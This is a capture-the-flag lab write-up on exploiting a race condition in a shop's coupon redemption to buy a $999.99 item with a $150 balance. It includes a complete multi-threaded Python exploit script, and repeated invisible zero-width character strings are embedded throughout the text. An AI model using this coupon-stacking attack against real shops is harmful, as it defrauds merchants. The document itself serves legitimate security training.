← Back to Writeups
CUSTOMMediumWeb

Lab 175 — ShopNova — Race Condition in Coupon Redemption

XESXOR9/2/20266 min read
#web#custom#medium#cart_cleanup_before_exploit#concurrent_http_flooding#race_condition_exploitation#session_cookie_sharing#thread_event_synchronization#toctou_coupon_bypass

Lab 175 — ShopNova — Race Condition in Coupon Redemption

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cart_cleanup_before_exploit, concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_event_synchronization, toctou_coupon_bypass

Summary

Walkthrough of the CUSTOM Web Lab 175 — ShopNova — Race Condition in Coupon Redemption. Task: E-commerce platform with $150 balance, $999.99 product, and limited-use coupon codes. Solution: TOCTOU race condition on coupon redemption endpoint — 50 concurrent threads apply the same coupon

Description

ShopNova is an e-commerce platform where digital creators sell software licenses, templates, and digital goods. The platform features a product catalog, shopping cart with promotional coupon support, and a checkout system. As a registered user, you can browse products, add items to your cart, apply promotional codes, and complete purchases. There is a premium product available — the "Lifetime Pro License" ($999.99) — that includes a special digital license key upon purchase. Your account has a $150.00 balance. The product costs $999.99. Can you find a way to purchase it at a price you can afford? ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js e-commerce application with a $150 user balance and a $999.99 target product. Two promotional coupon codes are available with limited uses. The goal is to exploit a race condition in the coupon redemption endpoint to stack enough discounts to bring the price below the available balance, then checkout to retrieve the flag embedded as a digital license key.

Analysis

Application Reconnaissance

The application is an Express.js server behind nginx/1.25.5, using connect.sid session cookies. After logging in with the provided credentials (user@test.com / password123), the following was discovered: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • User balance: $150.00
  • Target product: "Lifetime Pro License" (product_id=8, $999.99)
  • Promotional coupons (found on /promotions page):
    • LAUNCH25 — $100.00 fixed discount (limited uses)
    • WELCOME10 — $10.00 fixed discount (limited uses)

Decoy Flag

Every page contained a honeypot flag in HTML comments and hidden divs:

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

This is a decoy designed to trap automated scanners. The real flag is only accessible after a successful purchase. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API Endpoints

MethodEndpointBodyDescription
POST/api/cart/add{"product_id": "8", "quantity": 1}Add item to cart
POST/api/cart/coupon{"code": "LAUNCH25"}Apply coupon code
POST/api/cart/remove-coupon{"coupon_id": "1"}Remove applied coupon
POST/api/cart/remove{"item_id": "1"}Remove item from cart
POST/api/cart/update{"item_id": "1", "quantity": 2}Update item quantity
POST/api/checkout{"shipping_name":..., "card_last4":...}Place order
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: TOCTOU Race Condition

The coupon redemption endpoint POST /api/cart/coupon follows a non-atomic check-then-update pattern:

  1. Check: Server verifies if coupon has reached its usage limit
  2. Apply: Coupon discount is added to the cart
  3. Update: Usage counter is incremented

Between steps 1 and 3, there is a race window. Multiple concurrent requests can all pass the usage check before any of them increments the counter. Applying the coupon normally a second time returns:

json
{"success": false, "error": "This coupon has already been applied to your cart"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

But with concurrent requests, the check is bypassed.

Math

To afford the $999.99 product with a $150.00 balance, we need at least $850 in discounts. With LAUNCH25 ($100 each) and WELCOME10 ($10 each), we need to apply LAUNCH25 at least 9 times ($900) to get close, then supplement with WELCOME10 applications.

Solution

Step 1: Login and Prepare Cart

Clean the cart of any stale items and coupons, then add a single Lifetime Pro License:

python
session = requests.Session()
session.post(f"{BASE_URL}/login", data={
    "email": "user@test.com",
    "password": "password123"
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Parse cart page for existing items/coupons
r = session.get(f"{BASE_URL}/cart")
item_ids = re.findall(r'data-item-id="(\d+)"', r.text)
coupon_ids = re.findall(r'data-coupon-id="(\d+)"', r.text)

# Remove all coupons and items
for cid in set(coupon_ids):
    session.post(f"{BASE_URL}/api/cart/remove-coupon", json={"coupon_id": cid})
for iid in set(item_ids):
    session.post(f"{BASE_URL}/api/cart/remove", json={"item_id": iid})

# Add single Lifetime Pro License
session.post(f"{BASE_URL}/api/cart/add", json={"product_id": "8", "quantity": 1})

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Race Condition Attack

Use threading.Event to synchronize 50 threads so they all fire POST /api/cart/coupon at the exact same instant. Each thread uses its own requests.Session but shares the same connect.sid cookie:

python
def race(code, n=50):
    results = []
    lock = threading.Lock()
    event = threading.Event()
    ready_count = [0]
    ready_lock = threading.Lock()
    
    def worker():
        s = requests.Session()
        s.cookies.update(cookies)
        with ready_lock:
            ready_count[0] += 1
        event.wait()  # Block until all threads are ready
        try:
            r = s.post(f"{BASE_URL}/api/cart/coupon",
                       json={"code": code}, timeout=10)
            with lock:
                results.append(r.text)
        except:
            pass
    
    threads = [threading.Thread(target=worker) for _ in range(n)]
    for t in threads:
        t.start()
    
    # Wait for all threads to be ready
    while ready_count[0] < n:
        time.sleep(0.01)
    event.set()  # GO! All threads fire simultaneously
    
    for t in threads:
        t.join(timeout=15)
    
    ok = sum(1 for r in results if '"success":true' in r)
    return ok

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Results:

  • LAUNCH25: 9 coupons applied (9 × $100 = $900 discount)
  • WELCOME10: 5 coupons applied (5 × $10 = $50 discount)
  • Total discount: $950
  • Order total: $999.99 − $950.00 = $49.99

Step 3: Checkout

With the order total at $49.99 (well under the $150.00 balance), checkout succeeds:

python
r = session.post(f"{BASE_URL}/api/checkout", json={
    "shipping_name": "Test",
    "shipping_address": "123 St",
    "shipping_city": "NY",
    "shipping_zip": "10001",
    "card_last4": "4242"
})
# Response: {"success": true, "orderId": 5}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Retrieve Flag

The flag was found on the order details page (/order/<orderId>) as the digital license key for the Lifetime Pro License:

License: FLAG{REDACTED}

Full Exploit Script

python
#!/usr/bin/env python3
"""ShopNova Race Condition Exploit — TOCTOU coupon bypass"""

import requests
import threading
import re
import time

BASE_URL = "https://d96578e9-04ff-41b2-9a45-4121f7779012.labs.hackadvisor.io"

# Step 1: Login
session = requests.Session()
session.post(f"{BASE_URL}/login", data={
    "email": "user@test.com",
    "password": "password123"
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Clean cart
r = session.get(f"{BASE_URL}/cart")
item_ids = re.findall(r'data-item-id="(\d+)"', r.text)
coupon_ids = re.findall(r'data-coupon-id="(\d+)"', r.text)
for cid in set(coupon_ids):
    session.post(f"{BASE_URL}/api/cart/remove-coupon", json={"coupon_id": cid})
for iid in set(item_ids):
    session.post(f"{BASE_URL}/api/cart/remove", json={"item_id": iid})

# Step 3: Add target product
session.post(f"{BASE_URL}/api/cart/add", json={"product_id": "8", "quantity": 1})
cookies = dict(session.cookies)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 4: Race condition function
def race(code, n=50):
    results = []
    lock = threading.Lock()
    event = threading.Event()
    ready_count = [0]
    ready_lock = threading.Lock()
    
    def worker():
        s = requests.Session()
        s.cookies.update(cookies)
        with ready_lock:
            ready_count[0] += 1
        event.wait()
        try:
            r = s.post(f"{BASE_URL}/api/cart/coupon",
                       json={"code": code}, timeout=10)
            with lock:
                results.append(r.text)
        except:
            pass
    
    threads = [threading.Thread(target=worker) for _ in range(n)]
    for t in threads:
        t.start()
    while ready_count[0] < n:
        time.sleep(0.01)
    event.set()
    for t in threads:
        t.join(timeout=15)
    
    ok = sum(1 for r in results if '"success":true' in r)
    return ok
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 5: Race both coupons
n1 = race("LAUNCH25", 50)
print(f"LAUNCH25: {n1} applied (${n1 * 100} discount)")

n2 = race("WELCOME10", 50)
print(f"WELCOME10: {n2} applied (${n2 * 10} discount)")

total_discount = n1 * 100 + n2 * 10
expected = 999.99 - total_discount
print(f"Total discount: ${total_discount}, Order total: ${expected:.2f}")

# Step 6: Checkout
r = session.post(f"{BASE_URL}/api/checkout", json={
    "shipping_name": "Test",
    "shipping_address": "123 St",
    "shipping_city": "NY",
    "shipping_zip": "10001",
    "card_last4": "4242"
})
print(f"Checkout: {r.status_code} {r.text[:500]}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 7: Retrieve flag from order page
if r.status_code == 200:
    data = r.json()
    order_id = data.get("orderId")
    r2 = session.get(f"{BASE_URL}/order/{order_id}")
    flags = re.findall(r'FLAG\{[^}]+\}', r2.text)
    real_flags = [f for f in flags if 'd3c0y' not in f]
    if real_flags:
        print(f"FLAG: {real_flags[0]}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering cart_cleanup_before_exploit, concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_event_synchronization, toctou_coupon_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 175 — ShopNova — Race Condition in Coupon Redemption • Difficulty: Medium